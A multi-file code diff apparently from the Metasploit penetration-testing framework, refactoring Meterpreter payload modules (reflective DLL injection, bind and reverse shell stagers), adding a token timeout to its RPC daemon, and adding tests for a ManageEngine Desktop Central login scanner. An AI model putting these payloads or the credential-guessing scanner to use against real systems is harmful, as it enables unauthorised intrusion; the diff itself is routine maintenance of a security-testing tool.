@ -16,6 +14,7 @@ require 'msf/base/sessions/meterpreter_options'
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
#
###
module Metasploit3
include Msf::Payload::Windows::ReflectiveDllInject
@ -26,10 +25,7 @@ module Metasploit3
'Name' => 'Windows Meterpreter (Reflective Injection)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
'Author' => ['skape','sf'],
'PayloadCompat' =>
{
'Convention' => 'sockedi',
},
'PayloadCompat' => { 'Convention' => 'sockedi', },
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Win))
@ -39,7 +35,7 @@ module Metasploit3
end
def library_path
MeterpreterBinaries.path('metsrv','x86.dll')
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
end
end

View File

@ -41,7 +41,7 @@ module Metasploit3
end
def library_path
MeterpreterBinaries.path('metsrv','x86.dll')
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
end
end

View File

@ -22,19 +22,20 @@ module Metasploit3
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows x64 Meterpreter',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged)',
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
'Author' => [ 'sf' ],
'PayloadCompat' => { 'Convention' => 'sockrdi', },
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x64_Win
))
'Session' => Msf::Sessions::Meterpreter_x64_Win))
options.remove_option( 'LibraryName' )
options.remove_option( 'DLL' )
# Don't let people set the library name option
options.remove_option('LibraryName')
options.remove_option('DLL')
end
def library_path
MeterpreterBinaries.path('metsrv','x64.dll')
MetasploitPayloads.meterpreter_path('metsrv','x64.dll')
end
end

10
msfrpcd
View File

@ -30,9 +30,10 @@ arguments = Rex::Parser::Arguments.new(
"-U" => [ true, "Specify the username to access msfrpcd" ],
"-P" => [ true, "Specify the password to access msfrpcd" ],
"-u" => [ true, "URI for Web server" ],
"-S" => [ false, "Disable SSL on the RPC socket" ],
"-t" => [ true, "Token Timeout (default 300 seconds" ],
"-S" => [ false, "Disable SSL on the RPC socket" ],
"-f" => [ false, "Run the daemon in the foreground" ],
"-n" => [ false, "Disable database" ],
"-n" => [ false, "Disable database" ],
"-h" => [ false, "Help banner" ])
opts = {
@ -40,7 +41,8 @@ opts = {
'SSL' => true,
'ServerHost' => '0.0.0.0',
'ServerPort' => 55553,
'ServerType' => 'Msg'
'ServerType' => 'Msg',
'TokenTimeout' => 300,
}
foreground = false
@ -60,6 +62,8 @@ arguments.parse(ARGV) { |opt, idx, val|
opts['User'] = val
when '-P'
opts['Pass'] = val
when "-t"
opts['TokenTimeout'] = val.to_i
when "-f"
foreground = true
when "-u"

View File

@ -45,6 +45,7 @@ class Plugin::MSGRPC < Msf::Plugin
user = opts['User'] || "msf"
pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8)
uri = opts['URI'] || "/api"
timeout = opts['TokenTimeout'] || 300
print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}")
print_status("MSGRPC Username: #{user}")
@ -56,7 +57,8 @@ class Plugin::MSGRPC < Msf::Plugin
:ssl => ssl,
:cert => cert,
:uri => uri,
:tokens => { }
:tokens => { },
:token_timeout => timeout
})
self.server.add_user(user, pass)

View File

@ -92,7 +92,7 @@ if client.platform =~ /win32|win64/
to ||= from
print_status(" >> Uploading #{from}...")
fd = client.fs.file.new(tempdir + "\\" + to, "wb")
path = (from == 'metsrv.x86.dll') ? MeterpreterBinaries.path('metsrv','x86.dll') : File.join(based, from)
path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
fd.write(::File.read(path, ::File.size(path)))
fd.close
end

View File

@ -0,0 +1,156 @@
require 'spec_helper'
require 'metasploit/framework/login_scanner/manageengine_desktop_central'
describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
let(:session_id) do
'DCJSESSIONID=5628CFEA339C2688D74267B03CDA88BD; '
end
let(:username) do
'username'
end
let(:good_password) do
'good_password'
end
let(:bad_password) do
'bad_password'
end
let(:successful_auth_response) do
Rex::Proto::Http::Response.new(302, 'Moved Temporarily')
end
let(:fail_auth_response) do
Rex::Proto::Http::Response.new(200, 'OK')
end
subject do
described_class.new
end
let(:response) do
Rex::Proto::Http::Response.new(200, 'OK')
end
before(:each) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
describe '#check_setup' do
context 'when target is ManageEngine Desktop Central' do
let(:response) do
res = Rex::Proto::Http::Response.new(200, 'OK')
res.body = 'ManageEngine Desktop Central'
res
end
it 'returns true' do
expect(subject.check_setup).to be_truthy
end
end
context 'when target is not ManageEngine Desktop Central' do
it 'returns false' do
expect(subject.check_setup).to be_falsey
end
end
end
describe '#get_sid' do
context 'when there is no session ID' do
let(:response) do
res = Rex::Proto::Http::Response.new(200, 'OK')
res.headers['Set-Cookie'] = session_id
res
end
it 'returns a new session ID' do
expect(subject.get_sid(response)).to include('DCJSESSIONID')
end
end
end
describe '#get_hidden_inputs' do
let(:response) do
html = %Q|
<input type="hidden" name="buildNum" id="buildNum" value="90109"/>
<input type="hidden" name="clearCacheBuildNum" id="clearCacheBuildNum" value="-1"/>
|
res = Rex::Proto::Http::Response.new(200, 'OK')
res.body = html
res
end
context 'when there are hidden login inputs' do
it 'returns a Hash' do
expect(subject.get_hidden_inputs(response)).to be_kind_of(Hash)
end
it 'returns the value for buildNum' do
expect(subject.get_hidden_inputs(response)['buildNum']).to eq('90109')
end
it 'returns the value for clearCacheBuildNum' do
expect(subject.get_hidden_inputs(response)['clearCacheBuildNum']).to eq('-1')
end
end
end
describe '#get_login_state' do
context 'when the credential is valid' do
let(:response) { successful_auth_response }
it 'returns a hash indicating a successful login' do
expect(subject.get_login_state(username, good_password)[:status]).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
end
end
context 'when the creential is invalid' do
let(:response) { fail_auth_response }
it 'returns a hash indicating an incorrect cred' do
expect(subject.get_login_state(username, good_password)[:status]).to eq(Metasploit::Model::Login::Status::INCORRECT)
end
end
end
describe '#attempt_login' do
context 'when the credential is valid' do
let(:response) { successful_auth_response }
let(:cred_obj) { Metasploit::Framework::Credential.new(public: username, private: good_password) }
it 'returns a Result object indicating a successful login' do
result = subject.attempt_login(cred_obj)
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
end
it 'returns successful login' do
result = subject.attempt_login(cred_obj)
expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL)
end
end
context 'when the credential is invalid' do
let(:response) { fail_auth_response }
let(:cred_obj) { Metasploit::Framework::Credential.new(public: username, private: bad_password) }
it 'returns a Result object' do
result = subject.attempt_login(cred_obj)
expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result)
end
it 'returns incorrect credential status' do
result = subject.attempt_login(cred_obj)
expect(result.status).to eq(Metasploit::Model::Login::Status::INCORRECT)
end
end
end
end

View File

@ -1,8 +1,8 @@
require 'spec_helper'
require 'rex/post/meterpreter'
describe MeterpreterBinaries do
describe MetasploitPayloads do
it 'is available' do
expect(described_class).to eq(MeterpreterBinaries)
expect(described_class).to eq(MetasploitPayloads)
end
end

View File

@ -1348,7 +1348,7 @@ describe 'modules/payloads', :content do
'stagers/linux/x86/bind_tcp',
'stages/linux/x86/meterpreter'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'linux/x86/meterpreter/bind_tcp'
end
@ -1455,7 +1455,7 @@ describe 'modules/payloads', :content do
'stagers/linux/x86/bind_tcp',
'stages/linux/x86/shell'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'linux/x86/shell/bind_tcp'
end
@ -2285,7 +2285,7 @@ describe 'modules/payloads', :content do
'stagers/windows/bind_tcp',
'stages/windows/dllinject'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/dllinject/bind_tcp'
end
@ -2571,7 +2571,7 @@ describe 'modules/payloads', :content do
'stagers/windows/bind_tcp',
'stages/windows/meterpreter'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter/bind_tcp'
end
@ -2789,7 +2789,7 @@ describe 'modules/payloads', :content do
'stagers/windows/bind_tcp',
'stages/windows/patchupdllinject'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/patchupdllinject/bind_tcp'
end
@ -2932,7 +2932,7 @@ describe 'modules/payloads', :content do
'stagers/windows/bind_tcp',
'stages/windows/patchupmeterpreter'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/patchupmeterpreter/bind_tcp'
end
@ -3075,7 +3075,7 @@ describe 'modules/payloads', :content do
'stagers/windows/bind_tcp',
'stages/windows/shell'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/shell/bind_tcp'
end
@ -3268,7 +3268,7 @@ describe 'modules/payloads', :content do
'stagers/windows/bind_tcp',
'stages/windows/upexec'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/upexec/bind_tcp'
end
@ -3411,7 +3411,7 @@ describe 'modules/payloads', :content do
'stagers/windows/bind_tcp',
'stages/windows/vncinject'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/vncinject/bind_tcp'
end
@ -3552,7 +3552,7 @@ describe 'modules/payloads', :content do
'stagers/windows/x64/bind_tcp',
'stages/windows/x64/meterpreter'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/meterpreter/bind_tcp'
end
@ -3574,7 +3574,7 @@ describe 'modules/payloads', :content do
'stagers/windows/x64/reverse_tcp',
'stages/windows/x64/meterpreter'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/meterpreter/reverse_tcp'
end
@ -3635,7 +3635,7 @@ describe 'modules/payloads', :content do
'stagers/windows/x64/bind_tcp',
'stages/windows/x64/shell'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/shell/bind_tcp'
end
@ -3646,7 +3646,7 @@ describe 'modules/payloads', :content do
'stagers/windows/x64/reverse_tcp',
'stages/windows/x64/shell'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/shell/reverse_tcp'
end
@ -3677,7 +3677,7 @@ describe 'modules/payloads', :content do
'stagers/windows/x64/bind_tcp',
'stages/windows/x64/vncinject'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/vncinject/bind_tcp'
end
@ -3688,7 +3688,7 @@ describe 'modules/payloads', :content do
'stagers/windows/x64/reverse_tcp',
'stages/windows/x64/vncinject'
],
dynamic_size: false,
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'windows/x64/vncinject/reverse_tcp'
end